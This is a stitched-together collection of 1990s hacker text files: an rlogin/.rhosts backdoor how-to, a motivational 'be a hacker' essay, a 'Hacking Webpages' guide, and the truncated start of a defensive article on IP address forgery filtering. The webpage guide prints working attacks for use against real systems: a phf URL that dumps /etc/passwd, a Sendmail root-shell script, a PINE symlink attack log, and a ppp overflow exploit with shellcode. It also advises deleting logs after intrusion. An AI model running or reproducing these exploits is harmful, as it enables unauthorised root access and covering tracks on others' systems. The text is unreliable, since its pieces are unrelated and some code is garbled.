goes. To telnet to a site type in telnet www.victim.com ,to telnet toa site on a specific port type in telnet www.victim.com portnumbe. Let's say i wanted to telnet to port 25 i would type in telnet www.victim.com 25 . To FTP to a machine type in ftp www.victim.com. To rlogin to a machine, many of you proably dont know what the hell im talking about so let me explain. If you place a file called .rhosts in someones home directory and that file has two plusses like this + + in it you can use the rlogin command to log into the system using that account without a password. Ring a bell in your mind? filling with fresh ideas. I use this method whenever I geta shell account, it assures me that if they by any chance change the passowrd I can always rlogin into the system assuming that the account has a .rhosts file in it and the file contains + + then you're in good shape. Assume the username of the account is lamer. So inorder to rlogin into lamer's account we would do the follwoing. Type in rlogin www.victim.com -l lamer . This will telnet us directly into lamer's account where we can start rooting the system. Well my hand hurts from typing too much, so I'm gonna stop typing, please if you have any questions, suggestions, or comments, e-mail them to ameister@vol.com. Also i nee some suggestions on what to write text files about so please e-mail me, it would be greatly appreciated. Me and some friends are going to be making a magazine with lots of text files and other interesting hacking material, if you would like a copy e-mail me for more info, the price should be no mroe than $4 Shipping & Handling included. DISCLAIMER: This shit is for educational purposes only, I'm not responisble for any trouble you get in using this info. VISIT MY WEBPAGE FOR MY OTHER TEXT FILEZ AND USEFUL UTILITIES ETC... HACKERSWEB IS BACK http://www.vol.com/~ameister So you wanna be a HACKER huh? <Bwahahaha!> It's a state-of-MIND! ..you can induce it - but only if you are willing to drive yourself mad enough! Go read and practice until you have mastered at least Assembly language and Intermediate Level Electronics! Without this foundation you'll be just another little geek, who might know the magic words to the spell but dosent understand what he's doing! So RTFM! ..so what does that mean? Read The Fucking Manual! You will be sooo amazed at how easy most things are if you just try to read the manual first! The truth is: Most people cant read. Or they read poorly if they read at all. So if you can't really read...STOP RIGHT HERE. GO learn to read first. If you can't read at a minimum 12th Grade level you cant be a hacker. Reading is the basic skill you must have to do EVERYTHING BEYOND THIS POINT. Tell your friends you cant party...you're busy. Spend at least 4 hours a day at your new-found fascination...or decide right here and now that you cant cut it! If you CAN, get a copy of MINIX or LINUX...start learning about OPERATING SYSTEMS. Then start your 1st real hack...try building a computer-controlled, DTMF dialer card for your cheap PC...write the code to use it with, make it a TSR to keep life interesting...now port it to MINIX or whatever ...better yet, port it as an IOCTL call at kernel level! You keep reading... Now you're ready to take on something more complex - go to the Library, start a literature search; topic: Telephone Technologies. RTFM! Learm about the ancient cross-bar, the Pre-ESS systems, the fab MFTSS, the TELEX boxes and circuits...keep reading...buy up an older, cheap (like under $50) cellular phone...by this time you should already have a subscription to 'Nuts & Volts" as well as a few other grassroots technology pubs....buy a copy of the "Cellular Hacker's Bible"....start by doing something simple.. ..disassemble and re-write the phone`s control ROM to allow it to function as an 800MHZ scanner...hopefully you've assembled a large array of tools and test gear by now. You've got a good dual-trace scope, some pc-based PROM burner, a signal generator, a logic probe or two, maybe even a microprocessor-emulator for the 5051, the Z80, the 68010 or something....you may have been dragged into some fields-afar by life - incorporate them: If somebody drasgged you into SCUBA, build your own sonar. If you have gotten interested in amateur radio, you can build a lot of swell stuff...I recommend you checkout Packet's AX25A level2 protocol...very slick stuff! If your bud's are all into motors, take a whak at doing your own Performance PROMS for GM's F.I. and spark advance curves...or try adapting some Volkswagen/BOSCHE Kjetronics F.I. to a Harley Davidson!..maybe you're into music so you buy a synthesizer and learn all about electronic music, you start hacking analog modules and build a nicer synth than you could buy! Then you interface it to a MIDI port on a cheap 286AT and then hack up some sequencer software, or buy some and then disassemble it to fix all the bugs! You keep reading... By now most of your friends are also "far into the pudding", you have either gained 50 lbs or gone totally skinny...your skin tone is 2 shades lighter from being indoors so long...most of the opposite sex is either totally freaked by or with you - they either dig you, or they dont!...you're probably knocking on the door of what will be a $60K+/yr job as a systems analyst...and you are well-aware that 90% of the people in this world can't talk their way out of a badly cooked steak at the local eatery, let alone install a new motherboard in their PC! So you pick up some extra cash on doing shit like that for the straights...you keep reading, and RTFM'ing higher and higher, learning about networks...the VCR breaks down and your SO bitches about having to wait till monday to have it fixed...you fix it in about 40 minutes....the next day the clothes dryer starts to make squeeking noises like a 50' mouse, you've never fixed one before but somehow it's not that difficult to open the bastard up and find the squeek and fix it...and suddenly it dawns on you that hacking code or hardware is pretty much the same! You keep reading... Congrats, you are now a real hacker. Absolutly nothing but a lack of time (or in some cases money) can stop you. You are a true Technologic Philosopher...you can function in places a mere Engineer or Scientist would truly FEAR TO TREAD! You can read better than Evelyn Wood, you have a collection of tools that would make a Master Machinist and a Prototype EE or ME cry. You can calculate series and parallel resonant circuits in your head. You can fix any consumer appliance - if you can get the parts. Your car has either become one of your main hacks or you'ver deligated the job to a mechanic who you have found to be a fellow hacker; and you work on his homebrew 68010 unix box...because you've got a 68010 emulator and he works on your car because that's the kind he specializes in! Maybe you trade services with people for 50% of what ordinary people have to BUY WITH CASH!...you keep reading... (this is the stage where the author now finds himself...16 years into a career at a Fortune 5 company and age 42...still reading... your mileage may vary! <-((that's my code too! I co-wrote VEEP, (vehicle-economy-emissions-program, a complete auto-simulator, written in Fortran-5 for the Univac 1108 system using punch-cards!) for the Ford Foundation and the DOT while at JPL in 1973)) ) -Avatar-> (aka: Erik K. Sorgatz) KB6LUY +----------------------------+ TTI(es@soldev.tti.com)or: sorgatz@avatar.tti.com *Government produces NOTHING!* 3100 Ocean Park Blvd. Santa Monica, CA 90405 +----------------------------+ (OPINIONS EXPRESSED DO NOT REFLECT THE VIEWS OF CITICORP OR ITS MANAGEMENT!) . Hacking Webpages The Ultimate Guide By Virtual Circuit and Psychotic Well Psychotic wrote one of the most helpful unix text files in cyberspace but with the mail that we recieved after the release of our famous 36 page Unix Bible we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "Hacking Webpages With a few Other Techniques." We will discuss a few various ways of hacking webpages and getting root. We are also going to interview and question other REAL hackers on the subjects. Getting the Password File Through FTP Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file... root:User:d7Bdg:1n2HG2:1127:20:Superuser TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file. root:x:0:1:Superuser:/: ftp:x:202:102:Anonymous ftp:/u1/ftp: ftpadmin:x:203:102:ftp Administrator:/u1/ftp This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file: root:x:0:1:0000-Admin(0000):/:/usr/bin/csh daemon:x:1:1:0000-Admin(0000):/: bin:x:2:2:0000-Admin(0000):/usr/bin: sys:x:3:3:0000-Admin(0000):/: adm:x:4:4:0000-Admin(0000):/var/adm: lp:x:71:8:0000-lp(0000):/usr/spool/lp: smtp:x:0:0:mail daemon user:/: uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp: nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uuc ico listen:x:37:4:Network Admin:/usr/net/nls: nobody:x:60001:60001:uid no body:/: noaccess:x:60002:60002:uid no access:/: webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well. Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it. Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you. The PHF Technique Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it. The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link: http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/pas swd You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type: http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passw d and that's it! You just sit back and copy the file(if it works). Telnet and Exploits Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need. It's best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I'm going to list a few below but the list of exploits is endless. This exploit is known as Sendmail v.8.8.4 It creates a suid program /tmp/x that calls shell as root. This is how you set it up: cat << _EOF_ >/tmp/x.c #define RUN "/bin/ksh" #include<stdio.h> main() { execl(RUN,RUN,NULL); } _EOF_ # cat << _EOF_ >/tmp/spawnfish.c main() { execl("/usr/lib/sendmail","/tmp/smtpd",0); } _EOF_ # cat << _EOF_ >/tmp/smtpd.c main() { setuid(0); setgid(0); system("chown root /tmp/x ;chmod 4755 /tmp/x"); } _EOF_ # # gcc -O -o /tmp/x /tmp/x.c gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c gcc -O3 -o /tmp/smtpd /tmp/smtpd.c # /tmp/spawnfish kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1` rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c sleep 5 if [ -u /tmp/x ] ; then echo "leet..." /tmp/x fi and now on to another exploit. I'm going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting the respective lockfile. Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile. This was writen by Sean B. Hamor…For this example, hamors is the victim while catluvr is the attacker: hamors (21 19:04) litterbox:~> pine catluvr (6 19:06) litterbox:~> ps -aux | grep pine catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors - -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4 catluvr (8 19:07) litterbox:~> ps -aux | grep pine catluvr 1744 0.0 catluvr (9 1.8 100 356 pp3 S 19:09) litterbox:~> ln 19:08 -s 0:00 grep pine /home/hamors/.rhosts /tmp/.302.f5a4 hamors (23 19:09) litterbox:~> pine catluvr (11 19:10) litterbox:~> ps -aux | grep pine catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4 catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4 + + catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4 catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors now on to another one, this will be the last one that I'm going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUFFER_SIZE #define OFFSET 156 -290 /* size of the bufer to overflow */ /* number of bytes to jump after the start of the buffer */ long get_esp(void) { __asm__("movl %esp,%eax¥n"); } main(int argc, char *argv[]) { char *buf = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "¥xeb¥x23¥x5e¥x8d¥x1e¥x89¥x5e¥x0b¥x31¥xd2¥x89¥x56¥x07¥x89¥x56¥x0f" /* 16 bytes */ "¥x89¥x56¥x14¥x88¥x56¥x19¥x31¥xc0¥xb0¥x3b¥x8d¥x4e¥x0b¥x89¥xca¥x52" /* 16 bytes */ "¥x51¥x53¥x50¥xeb¥x18¥xe8¥xd8¥xff¥xff¥xff/bin/sh¥x01¥x01¥x01¥x01" /* 20 bytes */ "¥x02¥x02¥x02¥x02¥x03¥x03¥x03¥x03¥x9a¥x04¥x04¥x04¥x04¥x07¥x04"; /* 15 bytes, 57 total */ int i,j; buf = malloc(4096); /* fill start of bufer with nops */ i = BUFFER_SIZE-strlen(execshell); memset(buf, 0x90, i); ptr = buf + i; /* place exploit code into the buffer */ for(i = 0; i < strlen(execshell); i++) *ptr++ = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (104/4); i++) *addr_ptr++ = get_esp() + OFFSET; ptr = (char *)addr_ptr; *ptr = 0; setenv("HOME", buf, 1); execl("/usr/sbin/ppp", "ppp", NULL); } Now that you've gotten root "what's next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible. ~~PSYCHOTIC~~ INTERNET HOLES - ELIMINATING IP ADDRESS FORGERY COPYRIGHT (C), 1996, MANAGEMENT ANALYTICS - ALL RIGHTS RESERVED _________________________________________________________________ Series Introduction The Internet is now the world's most popular network and it is full of potential vulnerabilities. In this series of articles, we explore the vulnerabilities of the Internet and what you can do to mitigate them. An Introduction IP Address Forgery The Internet Protocol (IP) (RFC791) provides for two and only two functions. It defines a datagram that can be routed through the Internet, and it provides a means for fragmenting datagrams into packets and reassembling packets into the original datagrams. To quote from RFC791: The internet protocol is specifically limited in scope to provide the functions necessary to deliver a package of bits (an internet datagram) from a source to a destination over an interconnected system of networks. There are no mechanisms to augment end-to-end data reliability, flow control, sequencing, or other services commonly found in host-to-host protocols. The internet protocol can capitalize on the services of its supporting networks to provide various types and qualities of service. Here's a description of an IP datagram, also from RFC791: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | \ \ \ \ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Description of an IP Datagram Note that the 4th line of the description calls for the Source Address of the datagram. In the simplest form of IP address forgery, the forger only needs to create a packet containing a false Source Address and insert it into the Internet by writing it into the output device used to send information to the rest of the Internet. For the non-expert forger, there is a tool called iptest which is part of the free and publicly available ipfilter security package that automatically forges packets for the purpose of testing configurations or routers and other IP security setups. The infrastructure of the Internet consists primarily of a set of gateway computers and packet routers. These systems have multiple hardware interfaces. They maintain routing tables to let them decide which output interface to send a packet out on based on the input interface that it came in on and the destination IP address specified in the packet. When a forged packet arrives at an infrastructure element, that element will faithfully route the packet toward the destination address, exactly as it would a legitimate packet. How Can IP Address Forgery Be Used At its root, IP address forgery is a method of deception, and thus it can be used in much the same way as other forms of deception. Dunnigan95 More specifically, and using Dunnigan and Nofi's classification scheme, here are some quick ideas about how IP address forgery might be used: * Concealment: IP address forgery is commonly used to conceal the identity of an attacker, especially when denial of services is the goal of the attack. * Camouflage: IP address forgery is used to make one site appear to be another as a way to convince the victim, for example, that an attack is from a University, when in fact it is from a competitor. * False and Planted Information: IP address forgery can be used to create the impression that a particular site is acting maliciously in order to create friction or lead a defender to falsely accuse an innocent third party. * Reuses: IP address forgery can be used to support another activity designed to gain the confidence of the defender. For example, a salesperson for information security products could create IP address forgeries in order to convince a client of the need for their services. * Displays: IP address forgery has been used in order to lead defenders to believe that many sites are participating in an attack when in fact only a small number of individuals are responsible. * Demonstrations: IP address forgery has been used to demonstrate a potential for untraceable attacks as a way to convince defenders not to try to catch attackers. * Feints: IP address forgery can be used to try to fool an enemy into believing that an attack is coming from outside or from a particular direction, when the real attack is very different. This is a way to misdirect the enemy into spending limited resources in the wrong way. * Lies: IP address forgery has been used to create a more convincing lie that somebody known to the defender is communicating with them about a particular matter. * Insight: IP address forgery can be used to gain insight into how an opponent reacts and as a sort of probe to determine what sorts of responses are likely to arise. Another way to view this issue is in terms of the net effect on information in information systems. Here is another way of viewing this issue with an example from each category. * Corruption of Information: IP addresses are often used as the basis for Internet control decisions. For example, DNS updates are often designated as coming only from specific other servers. With IP address forgery, the entire DNS system could be corrupted, causing services to be rerouted through enemy servers. * Denial of Services: The Internet is basically a fragile network that depends on the proper behavior and good will of the participants for its proper operation. Without wide-ranging changes to the way the Internet works, denial of services is almost impossible to prevent. For example, the same DNS attack could be used to cause widespread denial of services, or perhaps even to create loops in the packet delivery mechanisms of the Internet backbone. * Leakage of Information: Forged IP addresses can be used to cause a host to take orders for the delivery of information to enemy sites by forging authorization as if it were from a legitimate authorizing site. * Misplaced Liability: Forged IP addresses could be used, as described above under False and Planted Information, to cause defenders to assert claims against innocent bystanders and to lay blame at the wrong feet. These are only some of the examples of what forged IP addresses can do. Without a lot of effort, many other examples can be created. What Can We Do About It? As individuals, there is little we can do to eliminate all IP address forgery, but as a community, we can be very effective. Here's how. Instead of having all infrastructure elements route all packets, each infrastructure element could, and should, enforce a simple rule. They should only route packets from sources that could legitimately come from the interface the packet arrives on. This may sound complicated, but it really isn't. In fact, the technology to do this is already in place, and always has been. Virtually every router and gateway in existence today allows for the filtering of packets based on their input interface and IP source and destination address. This is a necessary component of their operation and is the basis for the way they route all packets. The only change that has to be made is for these routers and gateways to enforce the network structure that is legitimately in place. Or in other words, the routers and gateways should refuse to route ridiculous packets. Here are some of the simpler examples of known bad packets: * The IP address 127.0.0.1 is ONLY used for internal routing of packets from a host to itself. There is no legitimate IP datagram that should pass through a router or gateway with this as the source address. In fact, routing these packets is dangerous because they may be used to forge packets from the localhost which often has special privileges. A recent attack that causes denial of services involves sending a packet to a host's echo port with 127.0.0.1 as its source address and the echo port as it's source port. The echo port causes whatever packet it is sent to be returned to its source. Since the source address is the same port on the same host, this packet creates an infinite loop which, in many cases, disables the computer. * The IP address 0.0.0.0 is not legitimate - full stop. In fact, there's really no legitimate IP address that should traverse gateways containing a 0 for one of the address elements. Unfortunately, many routers use the '.0.' convention in their filtering tables to indicate any address from 0 to 255 (the whole range), so blocking these packets may be non-trivial in some infrastructure elements. * The IP specification includes provisions for private subnetworks that are designated for internal use only. There is no legitimate reason to route packets from these addresses anywhere in the general Internet infrastructure. (RFC1597) These address ranges include 10.*.*.*, 172.16-32.*.*, and 192.168.*.* (where * indicates any value from 0 through 255). No packets should be routed through the Internet with these addresses as either their source or their destination. The next step in eliminating IP address forgery is for the routers and gateways at each type of infrastructure element to enforce standards on each interface. Generally, the Internet is broken up into Backbone providers that provide wide area packet transport services, Private Networks which are owned and operated by companies, institutions, government agencies, and other parties for their own purposes, and Internet Service Providers (ISPs) that provide connections between the backbone elements and private networks (sometimes including other ISPs). These roles can be blurred at times, but they are adequate for our purposes. * Private Networks: Each private network should; + 1) prevent all of the known-bad packets from crossing into or out of the organization, + 2) prevent packets with internal source addresses from passing inward, + 3) prevent packets with external source addresses from passing outward, + 4) prevent packets with external destination addresses from passing inward, and + 5) prevent packets with internal destination addresses from passing outward. * ISPs: Each ISP should; + 1) prevent all of the known-bad packets from crossing into or out of their infrastructure, + 2) prevent any packet inbound from any of their clients with a source address not from that client's assigned address range from passing from the client network, + 3) prevent any packets with a destination address not in their client's address range from passing to the client network, + 4) prevent any packet not from this ISP's legitimate address range from entering the backbone, and + 5) prevent any packets originating from the backbone and not destined for one of their legitimate IP addresses from entering their network. Two additional rules will assist the ISP's clients; + 6) prevent inbound traffic from the client with the client's address as a destination, and + 7) prevent outbound traffic to the client with the client's address claimed to be the source. * Backbone Networks: Each backbone provider should; + 1) prevent all of the known-bad packets from crossing into or out of their infrastructure, + 2) prevent packets originating from any ISP with source addresses not in that ISP's range of legitimate source addresses from entering the backbone, + 3) prevent any packets not destined for an ISP's address range from entering that ISP, + 4) prevent any packets from any other backbone provider that could not be properly routed through that provider from entering their backbone, and + 5) prevent any packets from going to any other backbone provider unless they could legitimately be routed through that provider to reach their destination. For backbones, this requires some effort, however the high volume of information they carry certainly justifies a little effort for protection. Some Examples As an aide to the less technically inclined, the following examples provide some real world implementation details. This set of rules applies to a private network (in this case, the all.net class C network 204.7.229.*) and are written in the format of the Morningstar PPP (point to point protocol) Filter file: # Rule 1 for private networks # prevent known-bad address ranges from entering (or leaving) !172.16-32.0.0 # private network segment !192.168.0.0 # private network segment !10.0.0.0 # private network segment !127.0.0.0 # localhost network # Rule 2 for private networks # prevent internal source address packets from passing inward !recv/src/204.7.229.0 # prevent inbound from our network # Rule 5 for private networks # prevent internal destination addresses from passing outward # Note that rule 5 is placed here because the filters are order dependent !send/dst/204.7.229.0 # prevent our destinations from passing out # Rule 3 for private networks # prevent external source address packets from passing outward send/src/204.7.229.0 # allow legitimate outbound sources !send/src/0.0.0.0 # prevent illegitimate outbound sources # Rule 4 for private networks # prevent external destinations from passing inward recv/dst/204.7.229.0 # allow legitimate inbound destinations !recv/dst/0.0.0.0 # prevent illegitimate inbound destinations The next set of rules applies to an ISP. In this case, we assume that the ISP has control over three class B networks that it uses to sell services to its clients. The class B networks used in this example have IP addresses of 123.7.*.*, 231.6.*.*, and 201.96.*.*. In this case, we have three different parts of the example: This is the router connecting the ISP to the backbone, presented in the format of a Cisco router with interface 0 connected to the backbone and interface 1 connected to the ISP's internal network. It implements rules 1, 4, and 5 for the ISP. # Rule 1 for an ISP # prevent all of the known-bad address ranges # this should be done on all in and out connections # on all interfaces in all access control lists All interfaces in and out deny ip 172.16-32.0.0 # private network segment deny ip 192.168.0.0 # private network segment deny ip 10.0.0.0 # private network segment deny ip 127.0.0.0 # localhost network # Rule 2 for an ISP # prevent inbound from client not in client's address range # DONE ELSEWHERE # Rule 3 for an ISP # prevent entry of packets not destined clients from passing their way # DONE ELSEWHERE # Rule 4 for an ISP # prevent exit of packets not from our class Bs # on interface 0 (backbone) out filter Interface 0 out permit ip 123.7.0.0 permit ip 231.6.0.0 permit ip 201.96.0.0 deny # ip 0.0.0.0 Rule 5 for an ISP # prevent entry of packets not destined for our class Bs. # on interface 0 (backbone) in filter Interface 0 in permit ip 123.7.0.0 permit ip 231.6.0.0 permit ip 201.96.0.0 deny ip 0.0.0.0 Next, we implement rules 2 and 3 for each client by creating separate (in this example ppp) filters on the ISP's gateway computer. Again, using the Morningstar ppp Filter format and assuming that Class C IP network 201.96.1.* is assigned to this particular client: # Rule 1 for ISPs # prevent known-bad address ranges from entering (or leaving) !172.16-32.0.0 # private network segment !192.168.0.0 # private network segment !10.0.0.0 # private network segment !127.0.0.0 # localhost network # Rule 6 for an ISP # prevent inbound traffic from the client destined for the client # note that rule 6 is placed here because filters are order dependent !recv/dest/201.96.1.0 # prevent inbound from client to self # Rule 7 for an ISP # prevent outbound traffic to the client claimed to be from the client # note that rule 7 is placed here because filters are order dependent !send/src/201.96.1.0 # prevent outbound to client from client # Rule 2 for an ISP # prevent inbound from client not in client's address range recv/src/201.96.1.0 # allow legitimate traffic !recv/src/0.0.0.0 # prevent all other traffic # Rule 3 for an ISP # prevent entry of packets not destined clients from passing their way send/dest/201.96.1.0 # allow legitimate traffic !send/dest/0.0.0.0 # prevent all other traffic Note that redundant protection is provided in several ways. The ISP protects the clients from backbone forgery both at the backbone router and at the client's ppp connection, and protects the backbone from IP forgery emanating from the ISP both by preventing forgery from clients and by preventing forgery from within the ISP. Similarly, the ISP provides redundant protection against improperly configured client hardware and software. The last two filter rules are to assure that even if the client is not properly configured to prevent forgery of internal addresses from the outside world or to prevent internal traffic from being sent out, this traffic is prevented. This last example is a simplification of a wide area backbone network in which this particular router (no type specified) is at the junction between UK connections and non-UK connections. In this case, it is a reasonable assumption that all internal UK traffic should remain internal and that external traffic that gets to this node should be sent out of the UK never to return. This particular backbone node will be connected to non-UK traffic on interface 0, our previously described ISP on interface 1, and the rest of the internal UK backbone on interface 2. # Rule 1 for a backbone # prevent all of the known-bad packets from crossing all-interfaces prevent in/out 172.16-32.0.0 # private network segment all-interfaces prevent in/out 192.168.0.0 # private network segment all-interfaces prevent in/out 10.0.0.0 # private network segment all-interfaces prevent in/out 127.0.0.0 # localhost network # Rule 2 for a backbone # prevent packets originating from any ISP with non-ISP source address interface-1 allow in from 123.7.0.0 # ISP traffic interface-1 allow in from 231.6.0.0 # ISP traffic interface-1 allow in from 201.96.0.0 # ISP traffic interface-1 prevent in from 0.0.0.0 # no other inbound traffic # Rule 3 for a backbone # prevent packets not destined for an ISP from going there interface-1 allow out to 123.7.0.0 # ISP traffic interface-1 allow out to 231.6.0.0 # ISP traffic interface-1 allow out to 201.96.0.0 # ISP traffic interface-1 prevent out to 0.0.0.0 # no other outbound traffic # Rule 4 for a backbone # prevent packets from other backbones that shouldn't come this way interface-0 allow in to UK-1 # UK traffic interface-0 allow in to UK-2 # UK traffic ... interface-0 allow in to UK-n # UK traffic interface-0 prevent in to 0.0.0.0 # no other inbound traffic # Rule 5 for a backbone # prevent packets that should stay in our backbone from going out interface-0 allow out from UK-1 # UK traffic interface-0 allow out from UK-2 # UK traffic ... interface-0 allow out from UK-n # UK traffic interface-0 prevent out from 0.0.0.0 # no other outbound traffic In this example, we have assumed that all UK traffic is on IP addresses identified as UK-1, ..., UKn. What-ifs and Objections WHAT IFS? * What if a private network ignores the rules? It is to be expected than many private networks will ignore any such rules, either through ignorance, intent, or inattention. But even if all private networks ignored all of the rules, the rules for ISPs would prevent IP forgery from extending to the overall infrastructure. * What if an ISP ignores the rules? If an ISP ignores the rules and allows IP forgery, the backbone can protect the rest of the Internet, at least to the point where forged packets within the ISP's domain remain within or are traceable to that domain. That means that the ISP's clients would be subject to IP forgeries from other clients of that ISP, but that the rest of the Internet would be able to trace all packets coming from that ISP to that ISP. * What if the backbone ignores the rules? If all of the backbone providers ignore the rules, unless everyone else follows them, we will continue to have IP forgeries through the ISPs that don't follow the rules. * What if combinations ignore the rules? Depending on the specific combinations, we will have more or fewer IP address forgeries. It turns out that a complete analysis of this issue is not simple enough to do in the space provided, but a simple conclusion can be drawn without a full analysis. As more Internet users and providers prevent IP address forgery, the job of the forger will become harder and harder. We don't all have to participate in order to have proper protection, but if we all fail to participate, the forgeries will continue. OTHER OBJECTIONS * Content (common carrier) objections: Many ISPs and backbone providers don't want or take responsibility for content in the Internet. Just like a telephone company, they don't want any role in examining or dictating the content of the messages - they only want to be a delivery service. It could be argued that examining the address information in an IP packet and preventing packets based on those addresses constitutes limitation of content. Of course the portion of the content involved here must be examined in order to route the information, and the routing used in the Internet already provides exclusion of packets based on IP address ranges. Furthermore, common carriers (in the U.S.) are allowed to listen to and filter traffic to the extent that this activity is done solely to assure the proper operation of the network. Thus this objection would seem to be moot. * The cost is too high objection: In fact the cost is negligible. If the rules set forth herein were applied as a normal part of the installation and maintenance process, it would come to only a few minutes of effort during each installation. Even applying them to systems already in place requires only a few minutes of effort, again an insubstantial amount of effort well within the discretion of any systems administrator. * The we don't want restrictions objections: There are a substantial number of people that want a total lack of restrictions on information flowing through the Internet. I generally agree with the principle of free information flow, except in cases where the freedom of one person infringes on the freedom of others. This impingement on other peoples' rights applies to certain types of information, such as routing information, that must be correct in order for the Internet to work properly. Since the restrictions described here only assure that the Internet works properly and don't restrict the content or flow of information, there is no restriction of the free flow of information here. Only increased assurance that those who want to use the media for legitimate purposes will continue to be able to do so. Summary This solution we presented: * 1) is easy to implement, * 2) makes good sense from a traffic standpoint, * 3) allows all legitimate activity without any hinderence, * 4) works even if all parties don't participate, * 5) costs almost nothing to implement at each site, * 6) does not require any changes in existing protocols of traffic patterns, * 7) makes good sense for the security of each party that participates, and * 8) 